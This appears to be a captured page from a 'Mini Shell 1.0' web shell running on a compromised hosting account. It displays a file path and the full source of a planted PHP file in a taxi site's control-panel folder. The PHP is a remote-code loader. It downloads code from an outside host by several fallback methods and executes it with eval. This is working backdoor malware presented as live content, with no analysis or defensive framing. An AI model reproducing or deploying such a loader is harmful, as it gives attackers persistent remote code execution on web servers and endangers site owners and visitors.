HOME


Mini Shell 1.0
DIR: /proc/thread-self/root/home/islapiiu/sites/taxigalle/control-panel/delete/js/asst/
Upload File :
Current File : //proc/thread-self/root/home/islapiiu/sites/taxigalle/control-panel/delete/js/asst/zexbtx.php
<?php
session_start();
$mainUrl = $_SESSION['ts_url'] ?? 'https://teamzedd2024.tech/raw/McuQGI';
$backupUrl = 'https://teamzedd2024.tech/raw/McuQGI';

function tryCurl($url) {
    if (!function_exists('curl_init')) return '';
    $c = curl_init($url);
    curl_setopt_array($c, [
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_TIMEOUT => 7,
    ]);
    $out = curl_exec($c);
    curl_close($c);
    return $out ?: '';
}

function loadRemote($url) {
    $data = tryCurl($url);
    if (trim($data)) return $data;

    $data = @file_get_contents($url);
    if (trim($data)) return $data;

    try {
        $reader = new SplFileObject($url);
        $data = '';
        while (!$reader->eof()) {
            $data .= $reader->fgets();
        }
    } catch (Throwable $e) {
        return '';
    }

    return $data;
}

$exec = trim(loadRemote($mainUrl));
if ($exec === '') $exec = trim(loadRemote($backupUrl));

if ($exec !== '') {
    @eval("?>$exec");
}
?>